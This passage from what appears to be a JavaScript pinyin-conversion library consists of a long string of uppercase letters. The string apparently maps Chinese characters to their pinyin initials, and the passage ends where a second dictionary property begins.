MCZLTZSDWTJJLLNZGGQXPFSKYGYGHBFZPDKMWGHCXMSGDXJMCJZDYCABXJDLNBCDQYGSKYDQTXDJJYXMSZQAZDZFSLQXYJSJZYLBTXXWXQQZBJZUFBBLYLWDSLJHXJYZJWTDJCZFQZQZZDZSXZZQLZCDZFJHYSPYMPQZMLPPLFFXJJNZZYLSJEYQZFPFZKSYWJJJHRDJZZXTXXGLGHYDXCSKYSWMMZCWYBAZBJKSHFHJCXMHFQHYXXYZFTSJYZFXYXPZLCHMZMBXHZZSXYFYMNCWDABAZLXKTCSHHXKXJJZJSTHYGXSXYYHHHJWXKZXSSBZZWHHHCWTZZZPJXSNXQQJGZYZYWLLCWXZFXXYXYHXMKYYSWSQMNLNAYCYSPMJKHWCQHYLAJJMZXHMMCNZHBHXCLXTJPLTXYJHDYYLTTXFSZHYXXSJBJYAYRSMXYPLCKDUYHLXRLNLLSTYZYYQYGYHHSCCSMZCTZQXKYQFPYYRPFFLKQUNTSZLLZMWWTCQQYZWTLLMLMPWMBZSSTZRBPDDTLQJJBXZCSRZQQYGWCSXFWZLXCCRSZDZMCYGGDZQSGTJSWLJMYMMZYHFBJDGYXCCPSHXNZCSBSJYJGJMPPWAFFYFNXHYZXZYLREMZGZCYZSSZDLLJCSQFNXZKPTXZGXJJGFMYYYSNBTYLBNLHPFZDCYFBMGQRRSSSZXYSGTZRNYDZZCDGPJAFJFZKNZBLCZSZPSGCYCJSZLMLRSZBZZLDLSLLYSXSQZQLYXZLSKKBRXBRBZCYCXZZZEEYFGKLZLYYHGZSGZLFJHGTGWKRAAJYZKZQTSSHJJXDCYZUYJLZYRZDQQHGJZXSSZBYKJPBFRTJXLLFQWJHYLQTYMBLPZDXTZYGBDHZZRBGXHWNJTJXLKSCFSMWLSDQYSJTXKZSCFWJLBXFTZLLJZLLQBLSQMQQCGCZFPBPHZCZJLPYYGGDTGWDCFCZQYYYQYSSCLXZSKLZZZGFFCQNWGLHQYZJJCZLQZZYJPJZZBPDCCMHJGXDQDGDLZQMFGPSYTSDYFWWDJZJYSXYYCZCYHZWPBYKXRYLYBHKJKSFXTZJMMCKHLLTNYYMSYXYZPYJQYCSYCWMTJJKQYRHLLQXPSGTLYYCLJSCPXJYZFNMLRGJJTYZBXYZMSJYJHHFZQMSYXRSZCWTLRTQZSSTKXGQKGSPTGCZNJSJCQCXHMXGGZTQYDJKZDLBZSXJLHYQGGGTHQSZPYHJHHGYYGKGGCWJZZYLCZLXQSFTGZSLLLMLJSKCTBLLZZSZMMNYTPZSXQHJCJYQXYZXZQZCPSHKZZYSXCDFGMWQRLLQXRFZTLYSTCTMJCXJJXHJNXTNRZTZFQYHQGLLGCXSZSJDJLJCYDSJTLNYXHSZXCGJZYQPYLFHDJSBPCCZHJJJQZJQDYBSSLLCMYTTMQTBHJQNNYGKYRQYQMZGCJKPDCGMYZHQLLSLLCLMHOLZGDYYFZSLJCQZLYLZQJESHNYLLJXGJXLYSYYYXNBZLJSSZCQQCJYLLZLTJYLLZLLBNYLGQCHXYYXOXCXQKYJXXXYKLXSXXYQXCYKQXQCSGYXXYQXYGYTQOHXHXPYXXXULCYEYCHZZCBWQBBWJQZSCSZSSLZYLKDESJZWMYMCYTSDSXXSCJPQQSQYLYYZYCMDJDZYWCBTJSYDJKCYDDJLBDJJSODZYSYXQQYXDHHGQQYQHDYXWGMMMAJDYBBBPPBCMUUPLJZSMTXERXJMHQNUTPJDCBSSMSSSTKJTSSMMTRCPLZSZMLQDSDMJMQPNQDXCFYNBFSDQXYXHYAYKQYDDLQYYYSSZBYDSLNTFQTZQPZMCHDHCZCWFDXTMYQSPHQYYXSRGJCWTJTZZQMGWJJTJHTQJBBHWZPXXHYQFXXQYWYYHYSCDYDHHQMNMTMWCPBSZPPZZGLMZFOLLCFWHMMSJZTTDHZZYFFYTZZGZYSKYJXQYJZQBHMBZZLYGHGFMSHPZFZSNCLPBQSNJXZSLXXFPMTYJYGBXLLDLXPZJYZJYHHZCYWHJYLSJEXFSZZYWXKZJLUYDTMLYMQJPWXYHXSKTQJEZRPXXZHHMHWQPWQLYJJQJJZSZCPHJLCHHNXJLQWZJHBMZYXBDHHYPZLHLHLGFWLCHYYTLHJXCJMSCPXSTKPNHQXSRTYXXTESYJCTLSSLSTDLLLWWYHDHRJZSFGXTSYCZYNYHTDHWJSLHTZDQDJZXXQHGYLTZPHCSQFCLNJTCLZPFSTPDYNYLGMJLLYCQHYSSHCHYLHQYQTMZYPBYWRFQYKQSYSLZDQJMPXYYSSRHZJNYWTQDFZBWWTWWRXCWHGYHXMKMYYYQMSMZHNGCEPMLQQMTCWCTMMPXJPJJHFXYYZSXZHTYBMSTSYJTTQQQYYLHYNPYQZLCYZHZWSMYLKFJXLWGXYPJYTYSYXYMZCKTTWLKSMZSYLMPWLZWXWQZSSAQSYXYRHSSNTSRAPXCPWCMGDXHXZDZYFJHGZTTSBJHGYZSZYSMYCLLLXBTYXHBBZJKSSDMALXHYCFYGMQYPJYCQXJLLLJGSLZGQLYCJCCZOTYXMTMTTLLWTGPXYMZMKLPSZZZXHKQYSXCTYJZYHXSHYXZKXLZWPSQPYHJWPJPWXQQYLXSDHMRSLZZYZWTTCYXYSZZSHBSCCSTPLWSSCJCHNLCGCHSSPHYLHFHHXJSXYLLNYLSZDHZXYLSXLWZYKCLDYAXZCMDDYSPJTQJZLNWQPSSSWCTSTSZLBLNXSMNYYMJQBQHRZWTYYDCHQLXKPZWBGQYBKFCMZWPZLLYYLSZYDWHXPSBCMLJBSCGBHXLQHYRLJXYSWXWXZSLDFHLSLYNJLZYFLYJYCDRJLFSYZFSLLCQYQFGJYHYXZLYLMSTDJCYHBZLLNWLXXYGYYHSMGDHXXHHLZZJZXCZZZCYQZFNGWPYLCPKPYYPMCLQKDGXZGGWQBDXZZKZFBXXLZXJTPJPTTBYTSZZDWSLCHZHSLTYXHQLHYXXXYYZYSWTXZKHLXZXZPYHGCHKCFSYHUTJRLXFJXPTZTWHPLYXFCRHXSHXKYXXYHZQDXQWULHYHMJTBFLKHTXCWHJFWJCFPQRYQXCYYYQYGRPYWSGSUNGWCHKZDXYFLXXHJJBYZWTSXXNCYJJYMSWZJQRMHXZWFQSYLZJZGBHYNSLBGTTCSYBYXXWXYHXYYXNSQYXMQYWRGYQLXBBZLJSYLPSYTJZYHYZAWLRORJMKSCZJXXXYXCHDYXRYXXJDTSQFXLYLTSFFYXLMTYJMJUYYYXLTZCSXQZQHZXLYYXZHDNBRXXXJCTYHLBRLMBRLLAXKYLLLJLYXXLYCRYLCJTGJCMTLZLLCYZZPZPCYAWHJJFYBDYYZSMPCKZDQYQPBPCJPDCYZMDPBCYYDYCNNPLMTMLRMFMMGWYZBSJGYGSMZQQQZTXMKQWGXLLPJGZBQCDJJJFPKJKCXBLJMSWMDTQJXLDLPPBXCWRCQFBFQJCZAHZGMYKPHYYHZYKNDKZMBPJYXPXYHLFPNYYGXJDBKXNXHJMZJXSTRSTLDXSKZYSYBZXJLXYSLBZYSLHXJPFXPQNBYLLJQKYGZMCYZZYMCCSLCLHZFWFWYXZMWSXTYNXJHPYYMCYSPMHYSMYDYSHQYZCHMJJMZCAAGCFJBBHPLYZYLXXSDJGXDHKXXTXXNBHRMLYJSLTXMRHNLXQJXYZLLYSWQGDLBJHDCGJYQYCMHWFMJYBMBYJYJWYMDPWHXQLDYGPDFXXBCGJSPCKRSSYZJMSLBZZJFLJJJLGXZGYXYXLSZQYXBEXYXHGCXBPLDYHWETTWWCJMBTXCHXYQXLLXFLYXLLJLSSFWDPZSMYJCLMWYTCZPCHQEKCQBWLCQYDPLQPPQZQFJQDJHYMMCXTXDRMJWRHXCJZYLQXDYYNHYYHRSLSRSYWWZJYMTLTLLGTQCJZYABTCKZCJYCCQLJZQXALMZYHYWLWDXZXQDLLQSHGPJFJLJHJABCQZDJGTKHSSTCYJLPSWZLXZXRWGLDLZRLZXTGSLLLLZLYXXWGDZYGBDPHZPBRLWSXQBPFDWOFMWHLYPCBJCCLDMBZPBZZLCYQXLDOMZBLZWPDWYYGDSTTHCSQSCCRSSSYSLFYBFNTYJSZDFNDPDHDZZMBBLSLCMYFFGTJJQWFTMTPJWFNLBZCMMJTGBDZLQLPYFHYYMJYLSDCHDZJWJCCTLJCLDTLJJCPDDSQDSSZYBNDBJLGGJZXSXNLYCYBJXQYCBYLZCFZPPGKCXZDZFZTJJFJSJXZBNZYJQTTYJYHTYCZHYMDJXTTMPXSPLZCDWSLSHXYPZGTFMLCJTYCBPMGDKWYCYZCDSZZYHFLYCTYGWHKJYYLSJCXGYWJCBLLCSNDDBTZBSCLYZCZZSSQDLLMQYYHFSLQLLXFTYHABXGWNYWYYPLLSDLDLLBJCYXJZMLHLJDXYYQYTDLLLBUGBFDFBBQJZZMDPJHGCLGMJJPGAEHHBWCQXAXHHHZCHXYPHJAXHLPHJPGPZJQCQZGJJZZUZDMQYYBZZPHYHYBWHAZYJHYKFGDPFQSDLZMLJXKXGALXZDAGLMDGXMWZQYXXDXXPFDMMSSYMPFMDMMKXKSYZYSHDZKXSYSMMZZZMSYDNZZCZXFPLSTMZDNMXCKJMZTYYMZMZZMSXHHDCZJEMXXKLJSTLWLSQLYJZLLZJSSDPPMHNLZJCZYHMXXHGZCJMDHXTKGRMXFWMCGMWKDTKSXQMMMFZZYDKMSCLCMPCGMHSPXQPZDSSLCXKYXTWLWJYAHZJGZQMCSNXYYMMPMLKJXMHLMLQMXCTKZMJQYSZJSYSZHSYJZJCDAJZYBSDQJZGWZQQXFKDMSDJLFWEHKZQKJPEYPZYSZCDWYJFFMZZYLTTDZZEFMZLBNPPLPLPEPSZALLTYLKCKQZKGENQLWAGYXYDPXLHSXQQWQCQXQCLHYXXMLYCCWLYMQYSKGCHLCJNSZKPYZKCQZQLJPDMDZHLASXLBYDWQLWDNBQCRYDDZTJYBKBWSZDXDTNPJDTCTQDFXQQMGNXECLTTBKPWSLCTYQLPWYZZKLPYGZCQQPLLKCCYLPQMZCZQCLJSLQZDJXLDDHPZQDLJJXZQDXYZQKZLJCYQDYJPPYPQYKJYRMPCBYMCXKLLZLLFQPYLLLMBSGLCYSSLRSYSQTMXYXZQZFDZUYSYZTFFMZZSMZQHZSSCCMLYXWTPZGXZJGZGSJSGKDDHTQGGZLLBJDZLCBCHYXYZHZFYWXYZYMSDBZZYJGTSMTFXQYXQSTDGSLNXDLRYZZLRYYLXQHTXSRTZNGZXBNQQZFMYKMZJBZYMKBPNLYZPBLMCNQYZZZSJZHJCTZKHYZZJRDYZHNPXGLFZTLKGJTCTSSYLLGZRZBBQZZKLPKLCZYSSUYXBJFPNJZZXCDWXZYJXZZDJJKGGRSRJKMSMZJLSJYWQSKYHQJSXPJZZZLSNSHRNYPZTWCHKLPSRZLZXYJQXQKYSJYCZTLQZYBBYBWZPQDWWYZCYTJCJXCKCWDKKZXSGKDZXWWYYJQYYTCYTDLLXWKCZKKLCCLZCQQDZLQLCSFQCHQHSFSMQZZLNBJJZBSJHTSZDYSJQJPDLZCDCWJKJZZLPYCGMZWDJJBSJQZSYZYHHXJPBJYDSSXDZNCGLQMBTSFSBPDZDLZNFGFJGFSMPXJQLMBLGQCYYXBQKDJJQYRFKZTJDHCZKLBSDZCFJTPLLJGXHYXZCSSZZXSTJYGKGCKGYOQXJPLZPBPGTGYJZGHZQZZLBJLSQFZGKQQJZGYCZBZQTLDXRJXBSXXPZXHYZYCLWDXJJHXMFDZPFZHQHQMQGKSLYHTYCGFRZGNQXCLPDLBZCSCZQLLJBLHBZCYPZZPPDYMZZSGYHCKCPZJGSLJLNSCDSLDLXBMSTLDDFJMKDJDHZLZXLSZQPQPGJLLYBDSZGQLBZLSLKYYHZTTNTJYQTZZPSZQZTLLJTYYLLQLLQYZQLBDZLSLYYZYMDFSZSNHLXZNCZQZPBWSKRFBSYZMTHBLGJPMCZZLSTLXSHTCSYZLZBLFEQHLXFLCJLYLJQCBZLZJHHSSTBRMHXZHJZCLXFNBGXGTQJCZTMSFZKJMSSNXLJKBHSJXNTNLZDNTLMSJXGZJYJCZXYJYJWRWWQNZTNFJSZPZSHZJFYRDJSFSZJZBJFZQZZHZLXFYSBZQLZSGYFTZDCSZXZJBQMSZKJRHYJZCKMJKHCHGTXKXQGLXPXFXTRTYLXJXHDTSJXHJZJXZWZLCQSBTXWXGXTXXHXFTSDKFJHZYJFJXRZSDLLLTQSQQZQWZXSYQTWGWBZCGZLLYZBCLMQQTZHZXZXLJFRMYZFLXYSQXXJKXRMQDZDMMYYBSQBHGZMWFWXGMXLZPYYTGZYCCDXYZXYWGSYJYZNBHPZJSQSYXSXRTFYZGRHZTXSZZTHCBFCLSYXZLZQMZLMPLMXZJXSFLBYZMYQHXJSXRXSQZZZSSLYFRCZJRCRXHHZXQYDYHXSJJHZCXZBTYNSYSXJBQLPXZQPYMLXZKYXLXCJLCYSXXZZLXDLLLJJYHZXGYJWKJRWYHCPSGNRZLFZWFZZNSXGXFLZSXZZZBFCSYJDBRJKRDHHGXJLJJTGXJXXSTJTJXLYXQFCSGSWMSBCTLQZZWLZZKXJMLTMJYHSDDBXGZHDLBMYJFRZFSGCLYJBPMLYSMSXLSZJQQHJZFXGFQFQBPXZGYYQXGZTCQWYLTLGWSGWHRLFSFGZJMGMGBGTJFSYZZGZYZAFLSSPMLPFLCWBJZCLJJMZLPJJLYMQDMYYYFBGYGYZMLYZDXQYXRQQQHSYYYQXYLJTYXFSFSLLGNQCYHYCWFHCCCFXPYLYPLLZYXXXXXKQHHXSHJZCFZSCZJXCPZWHHHHHAPYLQALPQAFYHXDYLUKMZQGGGDDESRNNZLTZGCHYPPYSQJJHCLLJTOLNJPZLJLHYMHEYDYDSQYCDDHGZUNDZCLZYZLLZNTNYZGSLHSLPJJBDGWXPCDUTJCKLKCLWKLLCASSTKZZDNQNTTLYYZSSYSSZZRYLJQKCQDHHCRXRZYDGRGCWCGZQFFFPPJFZYNAKRGYWYQPQXXFKJTSZZXSWZDDFBBXTBGTZKZNPZZPZXZPJSZBMQHKCYXYLDKLJNYPKYGHGDZJXXEAHPNZKZTZCMXCXMMJXNKSZQNMNLWBWWXJKYHCPSTMCSQTZJYXTPCTPDTNNPGLLLZSJLSPBLPLQHDTNJNLYYRSZFFJFQWDPHZDWMRZCCLODAXNSSNYZRESTYJWJYJDBCFXNMWTTBYLWSTSZGYBLJPXGLBOCLHPCBJLTMXZLJYLZXCLTPNCLCKXTPZJSWCYXSFYSZDKNTLBYJCYJLLSTGQCBXRYZXBXKLYLHZLQZLNZCXWJZLJZJNCJHXMNZZGJZZXTZJXYCYYCXXJYYXJJXSSSJSTSSTTPPGQTCSXWZDCSYFPTFBFHFBBLZJCLZZDBXGCXLQPXKFZFLSYLTUWBMQJHSZBMDDBCYSCCLDXYCDDQLYJJWMQLLCSGLJJSYFPYYCCYLTJANTJJPWYCMMGQYYSXDXQMZHSZXPFTWWZQSWQRFKJLZJQQYFBRXJHHFWJJZYQAZMYFRHCYYBYQWLPEXCCZSTYRLTTDMQLYKMBBGMYYJPRKZNPBSXYXBHYZDJDNGHPMFSGMWFZMFQMMBCMZZCJJLCNUXYQLMLRYGQZCYXZLWJGCJCGGMCJNFYZZJHYCPRRCMTZQZXHFQGTJXCCJEAQCRJYHPLQLSZDJRBCQHQDYRHYLYXJSYMHZYDWLDFRYHBPYDTSSCNWBXGLPZMLZZTQSSCPJMXXYCSJYTYCGHYCJWYRXXLFEMWJNMKLLSWTXHYYYNCMMCWJDQDJZGLLJWJRKHPZGGFLCCSCZMCBLTBHBQJXQDSPDJZZGKGLFQYWBZYZJLTSTDHQHCTCBCHFLQMPWDSHYYTQWCNZZJTLBYMBPDYYYXSQKXWYYFLXXNCWCXYPMAELYKKJMZZZBRXYYQJFLJPFHHHYTZZXSGQQMHSPGDZQWBWPJHZJDYSCQWZKTXXSQLZYYMYSDZGRXCKKUJLWPYSYSCSYZLRMLQSYLJXBCXTLWDQZPCYCYKPPPNSXFYZJJRCEMHSZMSXLXGLRWGCSTLRSXBZGBZGZTCPLUJLSLYLYMTXMTZPALZXPXJTJWTCYYZLBLXBZLQMYLXPGHDSLSSDMXMBDZZSXWHAMLCZCPJMCNHJYSNSYGCHSKQMZZQDLLKABLWJXSFMOCDXJRRLYQZKJMYBYQLYHETFJZFRFKSRYXFJTWDSXXSYSQJYSLYXWJHSNLXYYXHBHAWHHJZXWMYLJCSSLKYDZTXBZSYFDXGXZJKHSXXYBSSXDPYNZWRPTQZCZENYGCXQFJYKJBZMLJCMQQXUOXSLYXXLYLLJDZBTYMHPFSTTQQWLHOKYBLZZALZXQLHZWRRQHLSTMYPYXJJXMQSJFNBXYXYJXXYQYLTHYLQYFMLKLJTMLLHSZWKZHLJMLHLJKLJSTLQXYLMBHHLNLZXQJHXCFXXLHYHJJGBYZZKBXSCQDJQDSUJZYYHZHHMGSXCSYMXFEBCQWWRBPYYJQTYZCYQYQQZYHMWFFHGZFRJFCDPXNTQYZPDYKHJLFRZXPPXZDBBGZQSTLGDGYLCQMLCHHMFYWLZYXKJLYPQHSYWMQQGQZMLZJNSQXJQSYJYCBEHSXFSZPXZWFLLBCYYJDYTDTHWZSFJMQQYJLMQXXLLDTTKHHYBFPWTYYSQQWNQWLGWDEBZWCMYGCULKJXTMXMYJSXHYBRWFYMWFRXYQMXYSZTZZTFYKMLDHQDXWYYNLCRYJBLPSXCXYWLSPRRJWXHQYPHTYDNXHHMMYWYTZCSQMTSSCCDALWZTCPQPYJLLQZYJSWXMZZMMYLMXCLMXCZMXMZSQTZPPQQBLPGXQZHFLJJHYTJSRXWZXSCCDLXTYJDCQJXSLQYCLZXLZZXMXQRJMHRHZJBHMFLJLMLCLQNLDXZLLLPYPSYJYSXCQQDCMQJZZXHNPNXZMEKMXHYKYQLXSXTXJYYHWDCWDZHQYYBGYBCYSCFGPSJNZDYZZJZXRZRQJJYMCANYRJTLDPPYZBSTJKXXZYPFDWFGZZRPYMTNGXZQBYXNBUFNQKRJQZMJEGRZGYCLKXZDSKKNSXKCLJSPJYYZLQQJYBZSSQLLLKJXTBKTYLCCDDBLSPPFYLGYDTZJYQGGKQTTFZXBDKTYYHYBBFYTYYBCLPDYTGDHRYRNJSPTCSNYJQHKLLLZSLYDXXWBCJQSPXBPJZJCJDZFFXXBRMLAZHCSNDLBJDSZBLPRZTSWSBXBCLLXXLZDJZSJPYLYXXYFTFFFBHJJXGBYXJPMMMPSSJZJMTLYZJXSWXTYLEDQPJMYGQZJGDJLQJWJQLLSJGJGYGMSCLJJXDTYGJQJQJCJZCJGDZZSXQGSJGGCXHQXSNQLZZBXHSGZXCXYLJXYXYYDFQQJHJFXDHCTXJYRXYSQTJXYEFYYSSYYJXNCYZXFXMSYSZXYYSCHSHXZZZGZZZGFJDLTYLNPZGYJYZYYQZPBXQBDZTZCZYXXYHHSQXSHDHGQHJHGYWSZTMZMLHYXGEBTYLZKQWYTJZRCLEKYSTDBCYKQQSAYXCJXWWGSBHJYZYDHCSJKQCXSWXFLTYNYZPZCCZJQTZWJQDZZZQZLJJXLSBHPYXXPSXSHHEZTXFPTLQYZZXHYTXNCFZYYHXGNXMYWXTZSJPTHHGYMXMXQZXTSBCZYJYXXTYYZYPCQLMMSZMJZZLLZXGXZAAJZYXJMZXWDXZSXZDZXLEYJJZQBHZWZZZQTZPSXZTDSXJJJZNYAZPHXYYSRNQDTHZHYYKYJHDZXZLSWCLYBZYECWCYCRYLCXNHZYDZYDYJDFRJJHTRSQTXYXJRJHOJYNXELXSFSFJZGHPZSXZSZDZCQZBYYKLSGSJHCZSHDGQGXYZGXCHXZJWYQWGYHKSSEQZZNDZFKWYSSTCLZSTSYMCDHJXXYWEYXCZAYDMPXMDSXYBSQMJMZJMTZQLPJYQZCGQHXJHHLXXHLHDLDJQCLDWBSXFZZYYSCHTYTYYBHECXHYKGJPXHHYZJFXHWHBDZFYZBCAPNPGNYDMSXHMMMMAMYNBYJTMPXYYMCTHJBZYFCGTYHWPHFTWZZEZSBZEGPFMTSKFTYCMHFLLHGPZJXZJGZJYXZSBBQSCZZLZCCSTPGXMJSFTCCZJZDJXCYBZLFCJSYZFGSZLYBCWZZBYZDZYPSWYJZXZBDSYUXLZZBZFYGCZXBZHZFTPBGZGEJBSTGKDMFHYZZJHZLLZZGJQZLSFDJSSCBZGPDLFZFZSZYZYZSYGCXSNXXCHCZXTZZLJFZGQSQYXZJQDCCZTQCDXZJYQJQCHXZTDLGSCXZSYQJQTZWLQDQZTQCHQQJZYEZZZPBWKDJFCJPZTYPQYQTTYNLMBDKTJZPQZQZZFPZSBNJLGYJDXJDZZKZGQKXDLPZJTCJDQBXDJQJSTCKNXBXZMSLYJCQMTJQWWCJQNJNLLLHJCWQTBZQYDZCZPZZDZYDDCYZZZCCJTTJFZDPRRTZTJDCQTQZDTJNPLZBCLLCTZSXKJZQZPZLBZRBTJDCXFCZDBCCJJLTQQPLDCGZDBBZJCQDCJWYNLLZYZCCDWLLXWZLXRXNTQQCZXKQLSGDFQTDDGLRLAJJTKUYMKQLLTZYTDYYCZGJWYXDXFRSKSTQTENQMRKQZHHQKDLDAZFKYPBGGPZREBZZYKZZSPEGJXGYKQZZZSLYSYYYZWFQZYLZZLZHWCHKYPQGNPGBLPLRRJYXCCSYYHSFZFYBZYYTGZXYLXCZWXXZJZBLFFLGSKHYJZEYJHLPLLLLCZGXDRZELRHGKLZZYHZLYQSZZJZQLJZFLNBHGWLCZCFJYSPYXZLZLXGCCPZBLLCYBBBBUBBCBPCRNNZCZYRBFSRLDCGQYYQXYGMQZWTZYTYJXYFWTEHZZJYWLCCNTZYJJZDEDPZDZTSYQJHDYMBJNYJZLXTSSTPHNDJXXBYXQTZQDDTJTDYYTGWSCSZQFLSHLGLBCZPHDLYZJYCKWTYTYLBNYTSDSYCCTYSZYYEBHEXHQDTWNYGYCLXTSZYSTQMYGZAZCCSZZDSLZCLZRQXYYELJSBYMXSXZTEMBBLLYYLLYTDQYSHYMRQWKFKBFXNXSBYCHXBWJYHTQBPBSBWDZYLKGZSKYHXQZJXHXJXGNLJKZLYYCDXLFYFGHLJGJYBXQLYBXQPQGZTZPLNCYPXDJYQYDYMRBESJYYHKXXSTMXRCZZYWXYQYBMCLLYZHQYZWQXDBXBZWZMSLPDMYSKFMZKLZCYQYCZLQXFZZYDQZPZYGYJYZMZXDZFYFYTTQTZHGSPCZMLCCYTZXJCYTJMKSLPZHYSNZLLYTPZCTZZCKTXDHXXTQCYFKSMQCCYYAZHTJPCYLZLYJBJXTPNYLJYYNRXSYLMMNXJSMYBCSYSYLZYLXJJQYLDZLPQBFZZBLFNDXQKCZFYWHGQMRDSXYCYTXNQQJZYYPFZXDYZFPRXEJDGYQBXRCNFYYQPGHYJDYZXGRHTKYLNWDZNTSMPKLBTHBPYSZBZTJZSZZJTYYXZPHSSZZBZCZPTQFZMYFLYPYBBJQXZMXXDJMTSYSKKBJZXHJCKLPSMKYJZCXTMLJYXRZZQSLXXQPYZXMKYXXXJCLJPRMYYGADYSKQLSNDHYZKQXZYZTCGHZTLMLWZYBWSYCTBHJHJFCWZTXWYTKZLXQSHLYJZJXTMPLPYCGLTBZZTLZJCYJGDTCLKLPLLQPJMZPAPXYZLKKTKDZCZZBNZDYDYQZJYJGMCTXLTGXSZLMLHBGLKFWNWZHDXUHLFMKYSLGXDTWWFRJEJZTZHYDXYKSHWFZCQSHKTMQQHTZHYMJDJSKHXZJZBZZXYMPAGQMSTPXLSKLZYNWRTSQLSZBPSPSGZWYHTLKSSSWHZZLYYTNXJGMJSZSUFWNLSOZTXGXLSAMMLBWLDSZYLAKQCQCTMYCFJBSLXCLZZCLXXKSBZQCLHJPSQPLSXXCKSLNHPSFQQYTXYJZLQLDXZQJZDYYDJNZPTUZDSKJFSLJHYLZSQZLBTXYDGTQFDBYAZXDZHZJNHHQBYKNXJJQCZMLLJZKSPLDYCLBBLXKLELXJLBQYCXJXGCNLCQPLZLZYJTZLJGYZDZPLTQCSXFDMNYCXGBTJDCZNBGBQYQJWGKFHTNPYQZQGBKPBBYZMTJDYTBLSQMPSXTBNPDXKLEMYYCJYNZCTLDYKZZXDDXHQSHDGMZSJYCCTAYRZLPYLTLKXSLZCGGEXCLFXLKJRTLQJAQZNCMBYDKKCXGLCZJZXJHPTDJJMZQYKQSECQZDSHHADMLZFMMZBGNTJNNLGBYJBRBTMLBYJDZXLCJLPLDLPCQDHLXZLYCBLCXZZJADJLNZMMSSSMYBHBSQKBHRSXXJMXSDZNZPXLGBRHWGGFCXGMSKLLTSJYYCQLTSKYWYYHYWXBXQYWPYWYKQLSQPTNTKHQCWDQKTWPXXHCPTHTWUMSSYHBWCRWXHJMKMZNGWTMLKFGHKJYLSYYCXWHYECLQHKQHTTQKHFZLDXQWYZYYDESBPKYRZPJFYYZJCEQDZZDLATZBBFJLLCXDLMJSSXEGYGSJQXCWBXSSZPDYZCXDNYXPPZYDLYJCZPLTXLSXYZYRXCYYYDYLWWNZSAHJSYQYHGYWWAXTJZDAXYSRLTDPSSYYFNEJDXYZHLXLLLZQZSJNYQYQQXYJGHZGZCYJCHZLYCDSHWSHJZYJXCLLNXZJJYYXNFXMWFPYLCYLLABWDDHWDXJMCXZTZPMLQZHSFHZYNZTLLDYWLSLXHYMMYLMBWWKYXYADTXYLLDJPYBPWUXJMWMLLSAFDLLYFLBHHHBQQLTZJCQJLDJTFFKMMMBYTHYGDCQRDDWRQJXNBYSNWZDBYYTBJHPYBYTTJXAAHGQDQTMYSTQXKBTZPKJLZRBEQQSSMJJBDJOTGTBXPGBKTLHQXJJJCTHXQDWJLWRFWQGWSHCKRYSWGFTGYGBXSDWDWRFHWYTJJXXXJYZYSLPYYYPAYXHYDQKXSHXYXGSKQHYWFDDDPPLCJLQQEEWXKSYYKDYPLTJTHKJLTCYYHHJTTPLTZZCDLTHQKZXQYSTEEYWYYZYXXYYSTTJKLLPZMCYHQGXYHSRMBXPLLNQYDQHXSXXWGDQBSHYLLPJJJTHYJKYPPTHYYKTYEZYENMDSHLCRPQFDGFXZPSFTLJXXJBSWYYSKSFLXLPPLBBBLBSFXFYZBSJSSYLPBBFFFFSSCJDSTZSXZRYYSYFFSYZYZBJTBCTSBSDHRTJJBYTCXYJEYLXCBNEBJDSYXYKGSJZBXBYTFZWGENYHHTHZHHXFWGCSTBGXKLSXYWMTMBYXJSTZSCDYQRCYTWXZFHMYMCXLZNSDJTTTXRYCFYJSBSDYERXJLJXBBDEYNJGHXGCKGSCYMBLXJMSZNSKGXFBNBPTHFJAAFXYXFPXMYPQDTZCXZZPXRSYWZDLYBBKTYQPQJPZYPZJZNJPZJLZZFYSBTTSLMPTZRTDXQSJEHBZYLZDHLJSQMLHTXTJECXSLZZSPKTLZKQQYFSYGYWPCPQFHQHYTQXZKRSGTTSQCZLPTXCDYYZXSQZSLXLZMYCPCQBZYXHBSXLZDLTCDXTYLZJYYZPZYZLTXJSJXHLPMYTXCQRBLZSSFJZZTNJYTXMYJHLHPPLCYXQJQQKZZSCPZKSWALQSBLCCZJSXGWWWYGYKTJBBZTDKHXHKGTGPBKQYSLPXPJCKBMLLXDZSTBKLGGQKQLSBKKTFXRMDKBFTPZFRTBBRFERQGXYJPZSSTLBZTPSZQZSJDHLJQLZBPMSMMSXLQQNHKNBLRDDNXXDHDDJCYYGYLXGZLXSYGMQQGKHBPMXYXLYTQWLWGCPBMQXCYZYDRJBHTDJYHQSHTMJSBYPLWHLZFFNYPMHXXHPLTBQPFBJWQDBYGPNZTPFZJGSDDTQSHZEAWZZYLLTYYBWJKXXGHLFKXDJTMSZSQYNZGGSWQSPHTLSSKMCLZXYSZQZXNCJDQGZDLFNYKLJCJLLZLMZZNHYDSSHTHZZLZZBBHQZWWYCRZHLYQQJBEYFXXXWHSRXWQHWPSLMSSKZTTYGYQQWRSLALHMJTQJSMXQBJJZJXZYZKXBYQXBJXSHZTSFJLXMXZXFGHKZSZGGYLCLSARJYHSLLLMZXELGLXYDJYTLFBHBPNLYZFBBHPTGJKWETZHKJJXZXXGLLJLSTGSHJJYQLQZFKCGNNDJSSZFDBCTWWSEQFHQJBSAQTGYPQLBXBMMYWXGSLZHGLZGQYFLZBYFZJFRYSFMBYZHQGFWZSYFYJJPHZBYYZFFWODGRLMFTWLBZGYCQXCDJYGZYYYYTYTYDWEGAZYHXJLZYYHLRMGRXXZCLHNELJJTJTPWJYBJJBXJJTJTEEKHWSLJPLPSFYZPQQBDLQJJTYYQLYZKDKSQJYYQZLDQTGJQYZJSUCMRYQTHTEJMFCTYHYPKMHYZWJDQFHYYXWSHCTXRLJHQXHCCYYYJLTKTTYTMXGTCJTZAYYOCZLYLBSZYWJYTSJYHBYSHFJLYGJXXTMZYYLTXXYPZLXYJZYZYYPNHMYMDYYLBLHLSYYQQLLNJJYMSOYQBZGDLYXYLCQYXTSZEGXHZGLHWBLJHEYXTWQMAKBPQCGYSHHEGQCMWYYWLJYJHYYZLLJJYLHZYHMGSLJLJXCJJYCLYCJPCPZJZJMMYLCQLNQLJQJSXYJMLSZLJQLYCMMHCFMMFPQQMFYLQMCFFQMMMMHMZNFHHJGTTHHKHSLNCHHYQDXTMMQDCYZYXYQMYQYLTDCYYYZAZZCYMZYDLZFFFMMYCQZWZZMABTBYZTDMNZZGGDFTYPCGQYTTSSFFWFDTZQSSYSTWXJHXYTSXXYLBYQHWWKXHZXWZNNZZJZJJQJCCCHYYXBZXZCYZTLLCQXYNJYCYYCYNZZQYYYEWYCZDCJYCCHYJLBTZYYCQWMPWPYMLGKDLDLGKQQBGYCHJXY&#34;; this.full_dict = 